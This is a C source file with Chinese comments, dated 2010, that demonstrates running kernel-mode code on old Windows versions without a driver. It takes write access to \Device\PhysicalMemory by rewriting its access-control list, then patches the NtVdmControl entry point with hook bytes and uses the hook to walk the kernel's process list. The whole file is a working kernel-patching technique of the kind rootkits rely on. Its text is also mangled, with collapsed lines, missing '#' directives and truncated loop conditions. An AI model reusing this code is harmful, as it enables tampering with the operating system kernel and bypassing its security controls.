//************************************************************************
// Ring0Demo.c v1.0 by zzzEVAzzz // 目的:演示无驱动执行Ring0代码。 // 原理:通过\Device\PhysicalMemory修改NtVdmControl入口,跳转到Ring0Code //调用R3下的NtVdmControl函数,系统进入R0后 调用HOOK后的代码 //************************************************************************ #include <Ntsecapi.h> #pragma comment (lib,"ntdll.lib") // Copy From DDK #pragma comment (lib,"Kernel32.lib") #pragma comment (lib,"Advapi32.lib") //------------------ 数据类型声明开始 --------------------// typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Reserved; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; CHAR ImageName256; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; typedef enum _SECTION_INHERIT { ViewShare = 1, ViewUnmap = 2 } SECTION_INHERIT; typedef struct _MY_PROCESS_INFO { ULONG PID; ULONG KPEB; ULONG CR3; CHAR Name16; ULONG Reserved; } MY_PROCESS_INFO, *PMY_PROCESS_INFO; typedef long NTSTATUS; //------------------ 数据类型声明结束 --------------------// //--------------------- 预定义开始 -----------------------// define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) define STATUS_SUCCESS 0x00000000 define STATUS_UNSUCCESSFUL 0xC0000001 define STATUS_NOT_IMPLEMENTED 0xC0000002 define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 define STATUS_INVALID_PARAMETER 0xC000000D define STATUS_ACCESS_DENIED 0xC0000022 define STATUS_BUFFER_TOO_SMALL 0xC0000023 define OBJ_KERNEL_HANDLE 0x00000200 define SystemModuleInformation 11 define InitializeObjectAttributes( p, n, a, r, s ) { \ /* 注意,由于php标签过滤,以下6行缺少续行符\ */ (p)->Length = sizeof( OBJECT_ATTRIBUTES ); (p)->RootDirectory = r; (p)->Attributes = a; (p)->ObjectName = n; (p)->SecurityDescriptor = s; (p)->SecurityQualityOfService = NULL; } //--------------------- 预定义结束 -----------------------// //------------------ Native API声明开始 ------------------// NTSYSAPI VOID NTAPI RtlInitUnicodeString( PUNICODE_STRING DestinationString, PCWSTR SourceString ); NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); NTSYSAPI NTSTATUS NTAPI ZwOpenSection( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSYSAPI NTSTATUS NTAPI ZwMapViewOfSection( IN HANDLE SectionHandle, IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG ZeroBits, IN ULONG CommitSize, IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, IN OUT PULONG ViewSize, IN SECTION_INHERIT InheritDisposition, IN ULONG AllocationType, IN ULONG Protect ); NTSYSAPI NTSTATUS NTAPI ZwUnmapViewOfSection( IN HANDLE ProcessHandle, IN PVOID BaseAddress ); NTSYSAPI NTSTATUS NTAPI ZwClose( IN HANDLE Handle ); NTSYSAPI NTSTATUS NTAPI NtVdmControl( IN ULONG ControlCode, IN PVOID ControlData ); //------------------ Native API声明结束 ------------------// //------------------ 全局变量定义开始 --------------------// NTSTATUS (NTAPI *pfnNtVdmControl)( IN ULONG ControlCode, IN PVOID ControlData ); BOOLEAN (NTAPI *pfnPsGetVersion)( PULONG MajorVersion OPTIONAL, PULONG MinorVersion OPTIONAL, PULONG BuildNumber OPTIONAL, PUNICODE_STRING CSDVersion OPTIONAL ); HANDLE (NTAPI *pfnPsGetCurrentProcessId)( ); PVOID (NTAPI *pfnMemcpy)( IN VOID UNALIGNED *Destination, IN CONST VOID UNALIGNED *Source, IN SIZE_T Length ); ULONG (_cdecl *pfnDbgPrint)( IN PCHAR Format, ... ); ULONG *pPsInitialSystemProcess; //------------------ 全局变量定义结束 --------------------// // 获取指定模块的基址 PVOID GetModuleBase(PCSTR name) { NTSTATUS status; PVOID pBuffer, pModule; ULONG nRetSize, i, n; PSYSTEM_MODULE_INFORMATION pmi; pBuffer = LocalAlloc(LPTR, 0x1000); if (NULL == pBuffer) { printf("LocalAlloc0 Failed: %d\n", GetLastError()); return NULL; } status = ZwQuerySystemInformation(SystemModuleInformation, pBuffer, 0x1000, &nRetSize); if (STATUS_INFO_LENGTH_MISMATCH == status) { // 缓冲区太小,重新分配 LocalFree(pBuffer); pBuffer = LocalAlloc(LPTR, nRetSize); if (NULL == pBuffer) { printf("LocalAlloc Failed: %d\n", GetLastError()); return NULL; } status = ZwQuerySystemInformation(SystemModuleInformation, pBuffer, nRetSize, &nRetSize); } if (!NT_SUCCESS(status)) { printf("ZwQuerySystemInformation Failed: %d\n", LsaNtStatusToWinError(status)); LocalFree(pBuffer); return NULL; } pmi = (PSYSTEM_MODULE_INFORMATION)((ULONG)pBuffer + 4); n = *(ULONG*)pBuffer; pModule = NULL; // 搜索指定的模块名,获取基址 for (i=0; i { if (!_stricmp(pmi->ImageName+pmi->ModuleNameOffset, name)) { pModule = pmi->Base; break; } pmi++; } LocalFree(pBuffer); return pModule; } // 获取\Device\PhysicalMemory的可读写句柄 HANDLE OpenPhysicalMemory() { DWORD dwRet; NTSTATUS status; UNICODE_STRING name; OBJECT_ATTRIBUTES oa; EXPLICIT_ACCESS ea; PSECURITY_DESCRIPTOR pSD; PACL pDacl = NULL; PACL pNewDacl = NULL; HANDLE hSection = NULL; HANDLE hSectionRet = NULL; RtlInitUnicodeString(&name, L"\\Device\\PhysicalMemory"); InitializeObjectAttributes(&oa, &name, OBJ_KERNEL_HANDLE, NULL, NULL); // 以可读写Section权限打开PhysicalMemory status = ZwOpenSection(&hSectionRet, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa); if (NT_SUCCESS(status)) goto FreeAndExit; // 打开成功,直接返回 if (status != STATUS_ACCESS_DENIED) { // 错误,但非权限不足,打开失败 printf("ZwOpenSection0 Failed: %d\n", LsaNtStatusToWinError(status)); hSectionRet = NULL; goto FreeAndExit; } // 以可读写ACL权限打开PhysicalMemory status = ZwOpenSection(&hSection, READ_CONTROL | WRITE_DAC, &oa); if (!NT_SUCCESS(status)) { printf("ZwOpenSection Failed: %d\n", LsaNtStatusToWinError(status)); goto FreeAndExit; } // 获取PhysicalMemory的DACL dwRet = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &pDacl, NULL, &pSD); if (dwRet != ERROR_SUCCESS) { printf("GetSecurityInfo Failed: %d\n", dwRet); goto FreeAndExit; } // 创建一个ACE,允许当前用户读写PhysicalMemory ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = SECTION_MAP_READ | SECTION_MAP_WRITE; ea.grfAccessMode = GRANT_ACCESS; ea.grfInheritance = NO_INHERITANCE; ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME; ea.Trustee.TrusteeType = TRUSTEE_IS_USER; ea.Trustee.ptstrName = "CURRENT_USER"; // 将新的ACE加入DACL dwRet = SetEntriesInAcl(1, &ea, pDacl, &pNewDacl); if (dwRet != ERROR_SUCCESS) { printf("SetEntriesInAcl Failed: %d\n", dwRet); goto FreeAndExit; } // 更新PhysicalMemory的DACL dwRet = SetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL); if (dwRet != ERROR_SUCCESS) { printf("SetSecurityInfo Failed: %d\n", dwRet); goto FreeAndExit; } // 再次以可读写权限打开PhysicalMemory status = ZwOpenSection(&hSectionRet, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa); if (!NT_SUCCESS(status)) { printf("ZwOpenSection Failed: %d\n", LsaNtStatusToWinError(status)); goto FreeAndExit; } FreeAndExit: if (pSD) LocalFree(pSD); if (pNewDacl) LocalFree(pNewDacl); if (hSection) ZwClose(hSection); return hSectionRet; } // 将物理内存映射到当前进程的用户空间 PVOID MapPhysicalMemory(HANDLE hSection, // 物理内存的Section句柄 ULONG Offset, // 映射起始偏移量,相对于物理内存的0地址 ULONG CommitSize // 映射范围 ) { NTSTATUS status; PVOID BaseAddress = NULL; LARGE_INTEGER PhysicalAddress = {Offset, 0}; SIZE_T ViewSize = CommitSize; status = ZwMapViewOfSection(hSection, (HANDLE)-1, &BaseAddress, 0, CommitSize, &PhysicalAddress, &ViewSize, ViewShare, 0, PAGE_READWRITE); if (!NT_SUCCESS(status)) { printf("ZwMapViewOfSection Failed: %d\n", LsaNtStatusToWinError(status)); return NULL; } return BaseAddress; } // 在Ring0执行的代码。这里演示如何获取每个进程的PID、KPEB、CR3和ImageName NTSTATUS Ring0Code(ULONG size, // 缓冲区大小 PULONG buffer) // 缓冲区指针,指向调用者分配的缓存 // 参数个数与NtVdmControl一致,以平衡堆栈 { ULONG BuildNumber; ULONG ListOffset; ULONG PIDOffset; ULONG NameOffset; PLIST_ENTRY ListHead, ListPtr; PMY_PROCESS_INFO mypi; pfnDbgPrint("Run in Ring0!\n"); // 输出调试信息 pfnPsGetVersion(NULL, NULL, &BuildNumber, NULL); pfnDbgPrint("BuildNumber = %d\n", BuildNumber); switch (BuildNumber) // 各版本OS的KPEB结构不同 { case 2195: // Win2000 ListOffset = 0xa0; PIDOffset = 0x9c; NameOffset = 0x1fc; break; case 2600: // WinXP ListOffset = 0x88; PIDOffset = 0x84; NameOffset = 0x174; break; case 3790: // Win2003 ListOffset = 0x88; PIDOffset = 0x84; NameOffset = 0x154; break; default: return STATUS_NOT_IMPLEMENTED; } if (size<4) return STATUS_BUFFER_TOO_SMALL; size -= 4; if (NULL == buffer) return STATUS_INVALID_PARAMETER; *buffer = 0L; // 缓存的第一个ULONG用于保存进程总数 mypi = (PMY_PROCESS_INFO)(buffer + 1); // 历遍ActiveProcessLinks ListHead = ListPtr = (PLIST_ENTRY)(*pPsInitialSystemProcess + ListOffset); while (ListPtr->Flink != ListHead) { if (size < sizeof(MY_PROCESS_INFO)) return STATUS_BUFFER_TOO_SMALL; mypi->KPEB = (ULONG)ListPtr - ListOffset; mypi->PID = *(ULONG*)(mypi->KPEB + PIDOffset); mypi->CR3 = *(ULONG*)(mypi->KPEB + 0x18); pfnMemcpy(mypi->Name, (PVOID)(mypi->KPEB + NameOffset), 16); (*buffer)++; mypi++; size -= sizeof(MY_PROCESS_INFO); ListPtr = ListPtr->Flink; } return STATUS_SUCCESS; } // 显示进程信息 void ListProcessInfo(PULONG buffer) { ULONG i, n = *buffer; PMY_PROCESS_INFO mypi = (PMY_PROCESS_INFO)(buffer + 1); printf(" PID KPEB CR3 Name\n" " ---- -------- -------- ----\n"); for (i=0; i { printf(" %-4d %08x %08x %s\n", mypi->PID, mypi->KPEB, mypi->CR3, mypi->Name); mypi++; } } void main() { char *Kernel = "ntoskrnl.exe"; PVOID pKernel = NULL; HMODULE hKernel = NULL; HANDLE hSection = NULL; char *mapping = NULL; PVOID buffer = NULL; ULONG offset; NTSTATUS status; char OrigCode24, HookCode24 = "\xE8\xFF\xFF\xFF\xFF" // call 0xffffffff ;nt!PsGetCurrentProcessId "\x3D\xEE\xEE\xEE\xEE" // cmp eax, 0xeeeeeeee ;自己的PID "\x75\x05" // jne $Content$5 "\xE9\xDD\xDD\xDD\xDD" // jmp 0xdddddddd ;Ring0Code "\xB8\x01\x00\x00\xC0" // mov eax, 0xc0000001 ;STATUS_UNSUCCESSFUL "\xC3"; // ret printf("\n -=< Run Ring0 Code Without Driver Demo >=-\n\n"); // 获取系统核心模块ntoskrnl.exe的基址 pKernel = GetModuleBase(Kernel); if (NULL == pKernel) return; if ((ULONG)pKernel < 0x80000000 || (ULONG)pKernel > 0x9FFFFFFF) { // 模块基址超出直接内存映射范围 printf("Error: Kernel module base (%08x) is out of range.\n", pKernel); return; } // 在用户态加载一份ntoskrnl.exe hKernel = LoadLibrary(Kernel); if (NULL == hKernel) { printf("LoadLibrary Failed: %d\n", GetLastError()); return; } // 获取内核例程/变量在用户态的相对位置 if ((pfnMemcpy = (PVOID)GetProcAddress(hKernel, "memcpy")) && (pfnDbgPrint = (PVOID)GetProcAddress(hKernel, "DbgPrint")) && (pfnNtVdmControl = (PVOID)GetProcAddress(hKernel, "NtVdmControl")) && (pfnPsGetVersion = (PVOID)GetProcAddress(hKernel, "PsGetVersion")) && (pfnPsGetCurrentProcessId = (PVOID)GetProcAddress(hKernel, "PsGetCurrentProcessId")) && (pPsInitialSystemProcess = (PVOID)GetProcAddress(hKernel, "PsInitialSystemProcess"))); else { printf("GetProcAddress Failed: %d\n", GetLastError()); goto FreeAndExit; } // 计算内核例程/变量的实际地址 offset = (ULONG)pKernel - (ULONG)hKernel; (ULONG)pfnMemcpy += offset; (ULONG)pfnDbgPrint += offset; (ULONG)pfnNtVdmControl += offset; (ULONG)pfnPsGetVersion += offset; (ULONG)pfnPsGetCurrentProcessId += offset; (ULONG)pPsInitialSystemProcess += offset; // 设置HookCode *(ULONG*)(HookCode+1) = (ULONG)pfnPsGetCurrentProcessId - (ULONG)pfnNtVdmControl - 5; *(ULONG*)(HookCode+6) = GetCurrentProcessId(); *(ULONG*)(HookCode+13) = (ULONG)Ring0Code - (ULONG)pfnNtVdmControl - 17; // 打开物理内存Section hSection = OpenPhysicalMemory(); if (NULL == hSection) goto FreeAndExit; // 映射NtVdmControl入口附近的内存 offset = (ULONG)pfnNtVdmControl & 0x1FFFF000; // 转换到物理内存页地址 mapping = MapPhysicalMemory(hSection, offset, 0x2000); if (NULL == mapping) goto FreeAndExit; // 保存NtVdmControl入口代码 offset = (ULONG)pfnNtVdmControl & 0x00000FFF; // 页内偏移 memcpy(OrigCode, mapping+offset, 24); buffer = LocalAlloc(LPTR, 0x1000); if (NULL == buffer) { printf("LocalAlloc Failed: %d\n", GetLastError()); goto FreeAndExit; } memcpy(mapping+offset, HookCode, 24); // 挂钩NtVdmControl status = NtVdmControl(0x1000, buffer); // 调用NtVdmControl,进入Ring0 memcpy(mapping+offset, OrigCode, 24); // 还原NtVdmControl入口 if (!NT_SUCCESS(status)) { printf("NtVdmControl Failed: %d\n", LsaNtStatusToWinError(status)); goto FreeAndExit; } ListProcessInfo(buffer); FreeAndExit: if (buffer != NULL) LocalFree(buffer); if (mapping != NULL) ZwUnmapViewOfSection(hSection, mapping); if (hSection != NULL) ZwClose(hSection); if (hKernel != NULL) FreeLibrary(hKernel); } |
2010-06-30 11:03